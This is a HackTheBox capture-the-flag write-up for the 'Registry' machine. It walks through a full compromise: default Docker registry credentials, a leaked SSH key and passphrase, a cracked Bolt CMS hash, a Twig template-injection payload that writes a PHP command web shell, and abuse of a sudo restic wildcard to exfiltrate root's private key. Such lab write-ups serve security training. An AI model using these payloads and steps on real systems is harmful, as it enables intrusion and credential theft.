HTB Writeup: Registry

Make sure your backups are in safe hands

Enumeration

nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-02 16:27 IST
Nmap scan report for 10.129.187.31 (10.129.187.31)
Host is up (0.081s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.22 seconds
  1. Web servers are listening on port TCP/80 and TCP/443.

  2. The CN from the certificate at TCP/443 says: docker.registry.htb

  3. It’s a blank page on visiting the website.

    Untitled

  4. Directory fuzzing is done using ffuf and the wordlist Seclists/Discovery/Web-Content/common.txt./v2/ is found to be a valid directory.

    ffuf -u 'https://docker.registry.htb/FUZZ/' -w /usr/share/Seclists/Discovery/Web-Content/common.txt
       
    # render/https://www.google.com [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 79ms]
    # v2                      [Status: 301, Size: 39, Words: 3, Lines: 3, Duration: 79ms]
    # :: Progress: [4712/4712] :: Job [1/1] :: 502 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
    
  5. The website on https://docker.registry.htb/v2/ asks for authentication. On basic testing, credentials are found to be admin:admin

    Untitled

  6. The response is in JSON format. The application uses authentication via Authentication header using Basic Authentication which is in the format Authorization: Basic base64(username:password)

  7. Also, the response headers also contain, Docker-Distribution-Api-Version header, which indicates it’s a docker registry version 2.0.

    Untitled

  8. The documentation contains the URL endpoints which are accessible.

    Untitled

User Access

Docker Registry

  1. A GET request to /v2/_catalog returns a list of repositories available. Only one repository named bolt-image is available.

    Untitled

  2. A GET request to /v2/bolt-image/tags/list returns all the tags available for the image bolt-image. Only latest tag is available.

  3. A GET request to /v2/bolt-image/manifests/latest returns checksums for fs-layer blobs, which can be used to download the fs blobs itself. The registry uses a legacy certificate and hence docker daemon gives error while trying to use it to download the image from registry.

    Untitled

    Untitled

  4. These can be downloaded using the following bash script. The blobs will be stored in fs directory.

    #!/bin/bash
       
    mkdir fs
       
    curl -kso- 'https://docker.registry.htb/v2/bolt-image/manifests/latest' -H "Authorization: Basic $(echo -n 'admin:admin' | base64 -w0)" | jq '.fsLayers[].blobSum' -r > sha256sums.txt
       
    for checksum in $(cat sha256sums.txt); do
    curl -ks "https://docker.registry.htb/v2/bolt-image/blobs/${checksum}" -H 'Authorization: Basic YWRtaW46YWRtaW4=' -o "./fs/$(echo -n0 $checksum | cut -d':' -f2 ).gz"
    done
    
  5. The blobs are Gzip compressed data. The largest is found out to be 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gz of 100MB.

    Untitled

  6. Decompressing 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gz gives a POSIX tar archive.

    Untitled

  7. The file system is then extracted from the archive.

    Untitled

  8. There is an encrypted SSH key present at root/.ssh/id_rsa

    Untitled

  9. The password for the id_rsa file is found in the root/.viminfo file.

    Untitled

  10. The credentials are bolt:SSHKey(GkOcz221Ftb3ugog) to connect to host machine.

    Untitled

Privilege Escalation.

Enumeration

  1. The remote target seems to be blocking foreign connections. No wget or curlcommand seem to be working on any port to download enumeration scripts.

  2. Since a SSH connection is available, scp can be used to copy the files.

  3. linpeas.sh results show following:

    1. A Bolt CMS installation config file at /var/www/html/bolt/app/config/config.yml

    2. admin credentials hashes for the same Bolt CMS deployment.

    3. The Bolt CMS is accessible on /bolt/ on port TCP/80.

      Untitled

      Untitled

      Untitled

  4. Hash is identified as one of bcrypt($pass), bcrypt(md5($pass)) or bcrypt(sha1($pass)). The hash was cracked using rockyou.txt and hashcat with mode bcrypt($pass) : 3200

    Untitled

  5. admin:strawberry for admin on Bolt CMS page.

    Untitled

  6. The login page for the CMS is located at <BASE_URL>/bolt/loginby default. Since the base URL is http://registry.htb/bolt/ on remote target, the CMS login page is found at http://registry.htb/bolt/bolt/login

    Untitled

Exploitation

  1. The website is using the theme base-2018, and Bolt CMS uses Twig Template engine. To check for injection, the templates in /bolt/bolt/file/edit/themes/base-2018/partials/ directory can be modified.

    Untitled

  2. To test for injection, a line is added at the end of _footer.twig with content {{ 7*7 }}, which should return 49 on home page. It turns out to be injectable.

    Untitled

    Untitled

  3. Since the remote target is not allowing remote connections from ssh session, a web shell can be written into /var/www/html/ directory as the last rule in nginx configuration is passing /*.php files to fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;, which is UNIX sock listener for PHP execution.

    Untitled

  4. To do so, the following payload can be placed in the _footer.twig file:

    {{ ["echo PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= | base64 -d > /var/www/html/web_shell.php"] | filter('system') }}
       
    // PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= is base64 encoded <?php passthru($_GET["cmd"]);?>
    
  5. After visiting the homepage, the payload is triggered but the web page displays an error.

    Untitled

  6. This can be safely ignored, and the web shell is found accessible at http://registry.htb/web_shell.php?cmd=<COMMAND>

    Untitled

  7. The command sudo -l, shows that the user www-data can run following command as super user without password:

    Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*
    
  8. [Restic](https://restic.net/) is a backup utility that can back up the system on remote Restic server.

  9. Since the target host doesn’t allow remote connections, a local [rest-server](https://github.com/restic/rest-server) can be started on the session as bolt, and the wildcard in sudo no password can be exploited by specifying the root directory to backup and server to connect on rest:http://localhost:<port>.

  10. The commands for this exploitation are as follows:

    # On SSH Session with user "bolt", in directory /tmp/
    mkdir -p /tmp/repository
    ./rest-server --path /tmp/repository/ --no-auth
        
    # --path to specify the path to keep the backup data
    # --no-auth to disable authentication based backup.
        
    # In another SSH Session
        
    restic -r rest:http://127.0.0.1:8000/ init
    # Set a password: password
        
    echo -n 'password' > /tmp/password_file
    

    Untitled

    Untitled

    # On web shell
    sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ --password-file /tmp/password /root
    

    Untitled

  11. To see the files available, snapshot ID is required. For listing snapshots available following command is run:

    restic snapshots --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/
    

    Untitled

  12. The ls command can list the files available in a snapshot.

    restic ls --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde
    

    Untitled

  13. The dump command can be used to print a file from the above list to stdout. A private key is present in the folder /root/.ssh/, /root/.ssh/id_rsa.

    restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa
    

    Untitled

  14. This private key can be used to obtain a SSH session as the root user on the remote target.

    restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa > id_rsa
    chmod 0600 ./id_rsa
    
  15. A successful SSH session as root is obtained.

    Untitled

The remote host is completely compromised.

Avatar
Mayank Malik
CRTP | Incident Responder | Synack Red Team Member | Threat Analyst | Security Researcher | Cloud/Network Architect

Mayank Malik is a tech savvy person, Red Team Enthusiast, and likes to wander around to learn new stuff. Cryptography, Networking and System Administrations are his forte. He’s one of the Founding Members for CTF Team, Abs0lut3Pwn4g3, and Core Member at DC 91120 (DEFCON Community Group). Apart from the mentioned skills, he’s good at communication skills and is goal oriented person. Yellow belt holder at pwn.college in pursue of learning and achieving Blue Belt.

Related